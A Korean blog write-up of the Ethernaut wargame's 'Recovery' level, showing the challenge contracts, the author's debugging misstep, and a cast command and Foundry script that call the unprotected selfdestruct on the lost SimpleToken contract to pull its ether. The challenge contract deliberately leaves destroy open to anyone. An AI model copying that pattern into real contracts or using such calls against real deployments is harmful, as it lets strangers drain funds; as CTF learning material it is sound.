[Ethernaut] (17 Recovery)블록체인2025. 3. 14. 10:59
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
아 이상한데서 삽질한 문제다. 자꾸 revert나길래 뭐지 싶었는데 이상한 컨트랙트 괴롭히고 있었다.
일단 처음 생성한 인스턴스의 CA는 Recovery CA다.
여기서 문제의 의도는 SimpleToken의 CA를 찾거나 복구를해서 Recovery CA를 파괴하면 풀리는 문제다.
이더스캔 이용해서 금방 주소를 구했으나 내가 한 실수는 destory함수를 Recovery CA에서 계속 가져와서 SimpleToken CA를 파괴하려고 시도한것이다. 한마디로 인자 서순 이슈다...
그러니 계속 revert나지... 아오 바보짓을 계속했네
무튼 주소를 구했으니 cast로도 풀 수 있고 스크립트짜거나 배포해서도 가능하다.
cast send 0x6Bd5eFC7b5cc42115E0F4199A056C2e29b1D793e "destroy(address)" "0xd7f9Ba0eA9e1E2901611A304832091Bf8596d8f6" --rpc-url $RPC_URL --account Burnnnnny
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Recovery.sol";
// Run with: forge script script/Recovery_solv.s.sol --rpc-url $RPC_URL --account Burnnnnny --broadcast
contract RecoveryScript is Script {
function run() external {
vm.startBroadcast();
// Target SimpleToken contract address
SimpleToken target = SimpleToken(payable(0x5EAa4930D4A7e61a8415a4DD44a404E01636631F));
// Call destroy function to retrieve the funds to our address
target.destroy(payable(0x42fAb20b2CfF2900DB83C37224b7de8B1934dC4f));
vm.stopBroadcast();
}
}'블록체인' 카테고리의 다른 글
| 솔라나 proc_macro2 `source_file` method not found in `Span` 에러 해결 (0) | 2025.05.03 |
|---|---|
| 솔라나 입문기 - 0 (0) | 2025.04.14 |
| [Ethernaut] (11 Elevator) (0) | 2025.02.02 |
| [Ethernaut] (10 Re-entrancy) (0) | 2025.01.30 |
| [Ethernaut] (9 king) (0) | 2025.01.17 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.